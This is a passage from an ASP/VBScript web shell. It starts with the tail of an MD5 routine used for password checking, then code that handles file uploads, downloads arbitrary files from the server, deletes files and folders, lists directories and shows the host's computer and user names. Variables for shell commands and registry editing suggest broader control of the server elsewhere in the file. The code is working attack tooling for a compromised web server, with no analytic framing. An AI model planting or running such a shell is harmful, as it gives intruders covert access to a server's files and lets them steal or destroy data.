GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8
GG a, b, c, d, x(k + 9), S21, &H21E1CDE6
GG d, a, b, c, x(k + 14), S22, &HC33707D6
GG c, d, a, b, x(k + 3), S23, &HF4D50D87
GG b, c, d, a, x(k + 8), S24, &H455A14ED
GG a, b, c, d, x(k + 13), S21, &HA9E3E905
GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8
GG c, d, a, b, x(k + 7), S23, &H676F02D9
GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A
HH a, b, c, d, x(k + 5), S31, &HFFFA3942
HH d, a, b, c, x(k + 8), S32, &H8771F681
HH c, d, a, b, x(k + 11), S33, &H6D9D6122
HH b, c, d, a, x(k + 14), S34, &HFDE5380C
HH a, b, c, d, x(k + 1), S31, &HA4BEEA44
HH d, a, b, c, x(k + 4), S32, &H4BDECFA9
HH c, d, a, b, x(k + 7), S33, &HF6BB4B60
HH b, c, d, a, x(k + 10), S34, &HBEBFBC70
HH a, b, c, d, x(k + 13), S31, &H289B7EC6
HH d, a, b, c, x(k + 0), S32, &HEAA127FA
HH c, d, a, b, x(k + 3), S33, &HD4EF3085
HH b, c, d, a, x(k + 6), S34, &H4881D05
HH a, b, c, d, x(k + 9), S31, &HD9D4D039
HH d, a, b, c, x(k + 12), S32, &HE6DB99E5
HH c, d, a, b, x(k + 15), S33, &H1FA27CF8
HH b, c, d, a, x(k + 2), S34, &HC4AC5665
II a, b, c, d, x(k + 0), S41, &HF4292244
II d, a, b, c, x(k + 7), S42, &H432AFF97
II c, d, a, b, x(k + 14), S43, &HAB9423A7
II b, c, d, a, x(k + 5), S44, &HFC93A039
II a, b, c, d, x(k + 12), S41, &H655B59C3
II d, a, b, c, x(k + 3), S42, &H8F0CCC92
II c, d, a, b, x(k + 10), S43, &HFFEFF47D
II b, c, d, a, x(k + 1), S44, &H85845DD1
II a, b, c, d, x(k + 8), S41, &H6FA87E4F
II d, a, b, c, x(k + 15), S42, &HFE2CE6E0
II c, d, a, b, x(k + 6), S43, &HA3014314
II b, c, d, a, x(k + 13), S44, &H4E0811A1
II a, b, c, d, x(k + 4), S41, &HF7537E82
II d, a, b, c, x(k + 11), S42, &HBD3AF235
II c, d, a, b, x(k + 2), S43, &H2AD7D2BB
II b, c, d, a, x(k + 9), S44, &HEB86D391
a = AddUnsigned(a, AA)
b = AddUnsigned(b, BB)
c = AddUnsigned(c, CC)
d = AddUnsigned(d, DD)
Next
MD5 = WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d)
End Function
' Destroys all objects and finishes the work.
Private Sub StopScript()
Set sMD5Hash = nothing
Set WShell = nothing
Set WNetwork = nothing
Set WEnv = nothing
Set FSO = nothing
Set BinStream = nothing
Set sURL = nothing
Set sCmd = nothing
Set bBgMode = nothing
Set bSI = nothing
Set sKey = nothing
Set sKeyFunc = nothing
Set sKeyValue = nothing
Set sKeyType = nothing
Set sDir = nothing
Set sDel = nothing
Set sDL = nothing
Set sPasswd = nothing
Response.End
End Sub
' Password protection:
CheckAuth(sPasswd)
' Process multipart form-data:
If( InStr(1, CStr(Request.ServerVariables("CONTENT_TYPE")), "multipart/form-data;", 1) > 0 ) Then
If Request.TotalBytes > 0 Then
UploadFile()
End If
End If
%><%
'/* --- File Download --- */
If ( Not IsEmpty(sDL) ) Then
On Error Resume Next
' Change locale to "en-us":
SetLocale(1033)
If ( FSO.FileExists(sDL) ) Then
Response.Buffer = True
Response.Clear
Call Response.AddHeader("Content-Disposition", "attachment; filename=""" & FSO.GetFileName(sDL) & """")
Call Response.AddHeader("Content-Length", FSO.GetFile(sDL).Size)
'Response.Charset = "UTF-8"
Response.ContentType = "application/binary"
' Try to create ADODB COM object:
Err.Clear
Set BinStream = Server.CreateObject("ADODB.Stream")
If ( Err.Number = 0 ) Then
BinStream.Type = 1 : Rem adTypeBinary
'BinStream.Charset = "ASCII"
BinStream.Open()
BinStream.LoadFromFile(sDL)
Response.BinaryWrite(BinStream.Read())
Else
' Use FSO (slow & buggy method) instead.
' Usually works only with text data:
Err.Clear
Set BinStream = FSO.OpenTextFile(sDL, 1, 0)
While Not BinStream.AtEndOfStream
Response.BinaryWrite(ChrB( Asc( BinStream.Read(1) ) ) )
Wend
BinStream.Close
End If
'Response.Flush
Set BinStream = nothing
Else
Response.Write("File: " & sDL & " doesn't exist.")
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
StopScript
End If
%><%
'/* --- HTML Pages Header --- */
%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1252">
<meta name="robots" content="noindex">
<meta http-equiv="expires" content="0">
<meta http-equiv="pragma" content="no-cache">
<style type="text/css"><!--
body { font-family: sans-serif; background-color: #ffffff; color: #000000; }
table { border-collapse: collapse; font-family: arial, sans-serif; white-space: pre; empty-cells: show; }
td, th { border: 1px solid #909090; font-size: 75%; vertical-align: center; }
th { background-color: #9999cc; }
tr { background-color: #ccccff; text-indent: 5pt; }
tr th { text-indent: 0; }
tr.drv { text-indent: 0; }
tr.dir { font-weight: bold; }
tr.dir:hover { background-color: #eeeeee; }
tr.file:hover { background-color: #eeeeee; }
td.dir { cursor: hand; }
td.file { cursor: hand; }
input, select { font-family: verdana, arial; font-size: 11px; text-decoration: none; border: 1px solid #000000; }
input:hover, select:hover, input:focus, select:focus { border-color: #bc0000; }
input.button { width: 10%; }
input.button:hover { color: #444444; }
.link { color: 0033cc; text-decoration: none; font-style: oblique; }
.link:hover { background-color: #eeeeee; text-decoration: underline; }
i {color: #666666; }
hr {width: 100%; align: center; background-color: #cccccc; border: 0px; height: 1px; }
pre { margin: 0px; font-family: monospace; }
//--></style>
<%
'/* --- Delete item --- */
If ( Not IsEmpty(sDel) ) Then
On Error Resume Next
If ( Right(sDel, 1) = "\" ) Then
If ( FSO.FolderExists(sDel) ) Then
FSO.DeleteFolder(Left(sDel, Len(sDel) - 1))
End If
Else
If ( FSO.FileExists(sDel) ) Then
FSO.DeleteFile(sDel)
End If
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
End If
'/* --- Directory Listing --- */
If ( Not IsEmpty(sDir) ) Then
%>
<title>[ Directory Listing ]</title>
<script language="JavaScript" type="text/javascript">
<!--
function go(dir_name) {
<%
On Error Resume Next
If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
if( dir_name == ".." )
document.path.DIR.value = '<%= Replace(FSO.GetFolder(GetCorrectPath(sDir)).ParentFolder.Path, "\", "\\") %>';
else
document.path.DIR.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + dir_name;
<% Else %>
document.path.DIR.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + dir_name;
<% End If %>
document.path.submit();
}
function dl(file_name) {
<%
On Error Resume Next
If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
document.download.DL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + file_name;
<% Else %>
document.download.DL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + file_name;
<% End If %>
document.download.submit();
}
function del(item_name) {
<% On Error Resume Next %>
if( !confirm("Are you sure you want to delete [" + item_name + "] ?"))
return false;
<% If ( Not FSO.GetFolder(GetCorrectPath(sDir)).IsRootFolder ) Then %>
document.items.DEL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + '\\' + item_name;
<% Else %>
document.items.DEL.value = '<%= Replace(GetCorrectPath(sDir), "\", "\\") %>' + item_name;
<% End If %>
document.items.submit();
}
-->
</script>
</head>
<body>
<%= InsertNavBar() %>
<%= "Computer name: <i>" & WNetwork.ComputerName & "</i>" %>
<br>
<%= "User: <i>" & WNetwork.UserName & "</i>" %>
<br>
<%= "Path: <i>" & Server.Mappath(Request.ServerVariables("PATH_INFO")) & "</i>" %>
<br><br>